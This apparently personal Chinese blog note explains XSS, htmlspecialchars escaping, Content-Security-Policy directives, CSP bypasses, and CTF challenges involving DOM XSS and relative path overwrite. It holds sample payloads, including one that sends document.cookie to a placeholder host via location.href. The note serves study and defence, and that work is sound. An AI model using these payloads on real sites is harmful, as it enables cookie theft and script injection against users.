xss

前言

对于xss得了解和熟悉感觉还是很少得,这次集中学习一下。

跨站脚本攻击(XSS),是最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的

一个简单的 XSS 漏洞页面,没有对用户的输入进行过滤,就像这样:

1
2
3
4
<form>
<input type="text" name="name" value="<?php echo $_GET["name"]; ?>" />
<input type="submit" value="Submit" />
</form>

对于这样毫无过滤的页面,我们可以轻而易举的进行 XSS。

1
"/> <script>alert(0)</script> <!--

但其实这种漏洞通常可以用htmlspecialchars 函数来过滤输入。

htmlspecialchars 函数:将特殊字符转换为 HTML 实体。

1
2
3
4
5
& (AND) => &amp;
" (双引号) => &quot;
' (单引号) => &#039;
< (小于号) => &lt;
> (大于号) => &gt;

但是仅仅这样防御使不够的,还有各种输入手法,这里简单了解一下CSP防御机制,其实就是从浏览器层面来防御,而不是从代码中。

CSP

CSP 的实质就是白名单机制,对网站加载或执行的资源进行安全策略的控制。

csp结构

两种方法可以启用 CSP。一种是通过 HTTP 头信息的Content-Security-Policy的字段。

1
2
Content-Security-Policy: script-src 'self'; object-src 'none';
style-src cdn.example.org third-party.org; child-src https:

另一种是通过网页的<meta>标签。

1
<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.o

其中每一组策略包含一个策略指令和一个内容源列表。简单的说一下一些策略指令

default-src

default-src 作为所有其他指令的备用,一般来说 default-src ‘none’; script-src ‘self’ 这样的情况就会是 script-src 遵循 self,其他的都会使用 none。也就是说,除了被设置的指令以外,其余指令都会被设置为 default-src 指令所设置的属性。

对于这个属性有个特殊的配置叫 unsafe-eval,它会允许下面几个函数:

1
eval() Function() setTimeout() with an initial argument which is not callable.setInterval() with an initial argument which is not callable.

关键字

‘none’

代表空集;即不匹配任何 URL。

‘self’

代表和文档同源,包括相同的 URL 协议和端口号。也就是常说的同源策略。

‘unsafe-inline’

允许使用内联资源,如内联的 script 元素、javascript: URL、内联的事件处理函数和内联的 style 元素。

‘unsafe-eval’

允许使用 eval() 等通过字符串创建代码的方法。

数据

data:

允许 data: URI 作为内容来源。这是不安全的,因为攻击者可以精心构造 data: URI 来攻击。请谨慎地使用这个源,并确保不要用于脚本。

mediastream:

允许 mediastream: URI 作为内容来源。

1
Content-Security-Policy: default-src 'self'; img-src 'self' data:; media-src mediastream:

csp的一些绕过

meta网页跳转绕过

这个情况的话,可以利用 meta 标签实现网页跳转:

1
127.0.0.1/csp/?twosecurity=<meta http-equiv="refresh" content="1;url=http://x.x.x.x/" >

location绕过

有的情况 csp 会使用 script-src ‘unsafe-inline’; 这个地方可以直接用location.href(window.location/window.open) 绕过

1
127.0.0.1/csp/?twosecurity=<script>location.href='http://x.x.x.x/cookie/'%2bescape(document.cookie);</script>

站点可控静态资源绕过

给一个绕过 codimd 的 codimd xss

例子中 codimd 的 CSP 中使用了 google-analytics,而 analytics 中提供了自定义 javascript 的功能(google会封装自定义的js,所以还需要 unsafe-eval),于是可以绕过 CSP。

1
2
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://www.google-analytics.com">
<script src="https://www.google-analytics.com/gtm/js?id=GTM-PJF5W64"></script>

还有很多绕过,参考:https://lorexxar.cn/2017/10/25/csp-paper/#1。

ctf例题

一道XSS题目分析

题目地址:https://challenge.intigriti.io/。能访问但环境好像没了

参考题解吧:https://www.secpulse.com/archives/128882.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
var hash = document.location.hash.substr(1);
if (hash) {
displayReason(hash);
}
document.getElementById("reasons").onchange = function (e) {
if (e.target.value != "")
displayReason(e.target.value);
}

function reasonLoaded() {
var reason = document.getElementById("reason");
reason.innerHTML = unescape(this.responseText);
}

function displayReason(reason) {
window.location.hash = reason;
var xhr = new XMLHttpRequest();
xhr.addEventListener("load", reasonLoaded);
xhr.open("GET", `./reasons/${reason}.txt`);
xhr.send();
}

总结一下:

了解inerHTML触发DOMxss漏洞

寻找content injection

寻找站内可控的content,通过iframesrcdoc属性可以绕过innerHTML不解析<script>的限制

构造payload注入

34C3CTF urlstorage

https://lorexxar.cn/2018/01/02/34c3-writeup/#CSS-RPO

http://www.thespanner.co.uk/2014/03/21/rpo/

http://blog.nsfocus.net/rpo-attack/

考点为rpo+csrf+xss

nginx和apache2的差异化

首先了解一下nginx和apache2对于url地址解析的不同

nginx对于%2f是能够解析成/的但是apache2不行

在这里插入图片描述

第二个差异化在于

在Nginx中,编码后的url服务器可以正常识别,也就是说服务器在加载文件时会解码后找到具体文件返回返回客户端。

但是在客户端识别url时是不会解码的,正常情况下解码%2f解码后应该加载的是rpo/xxx/../x.js,最后也就是rpo/x.js文件;而这里加载的是/x.js,所以浏览器是没有解码%2f的。

当url为/rpo/%2f../1.php时最终访问的是/1.php

image-20211005115258272

这里其实是客户端浏览器在加载相对路径文件时是以最后一个/为相对目录加载具体资源文件的。

简单实例:

一:加载静态文件

现在有一个php路由/rpo/111/1.php源码里面通过<script src="../x.js"></script>用相对目录加载了静态文件,这时如果我们可以控制另外的一个在别的目录下x.js的内容,再让x.js加载到1.php下便可执行恶意代码。

正常访问下,这里可以随便在111目录下创建个x.js文件。

在这里插入图片描述

构造这样一个路由/rpo/222/test.php%2f..%2f..%2f111/1.php便可执行x.js内容。

在这里插入图片描述

加载其他的静态文件也是一样的原理。

二:将返回内容按静态文件解析

这个懒得做一遍了,简单描述一下就是,在某些场景下类似于在很多使用了url_rewrite的php开发框架以及python web框架中,经常使用相对路径来加载静态资源文件,而且url都有一个特征:

比如/rpo/user/id/1,这里表示使用参数为id,值为1的内容访问user接口;

比如/rpo/user.php/name/tester,这里表示使用参数name,内容为tester的内容访问user.php文件等。

例如这里如果仍然存在一个路由/rpo/user通过相对目录静态加载了style.cssstyle.js文件。

/rpo/user界面我们可以提交内容,然后内容会显示到当前页面,而且使用相对路径加载静态文件style.css和script.js文件,这两个文件原本内容为空,此时我们访问:

当你访问/rpo/user时加载的是/rpo/user/style.css和/rpo/user/style.js

当你用/user/2这里表示使用2作为参数请求user接口,此时加载静态文件和上述相同。

然后我们提交一段css内容:{} * {color:red;}

当我们访问:/rpo/user/2/xxx时:

{} * {color:red;}这段内容会被当成css解析。

img

这里表示我们使用2/xxx作为参数访问user接口,返回的内容和使用参数2访问返回的内容相同。

但是浏览器客户端认为2是目录,然后加载的静态文件为:

/user/2/style.css

这里就用到了上面说到的特点,这里的意思是用参数为2,内容为style.css的内容访问user,这里可以发现时加载静态文件返回的内容也是同使用参数2访问时返回内容相同,但是浏览器将会认为这里加载的是样式文件和脚本文件,从而将返回内容解析为css或者js,所以我们提交的css内容:{} * {color:red;} 成功解析为css,将页面渲染成红色。

这里还有个关键就是CSS在加载的时候与JS一样是逐行解析的,不同的是CSS会忽略页面中不符合CSS语法的行。

题解

https://l4w.io/2017/12/34c3-ctf-2017-urlstorage-writeup/

https://www.secpulse.com/archives/128882.html


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!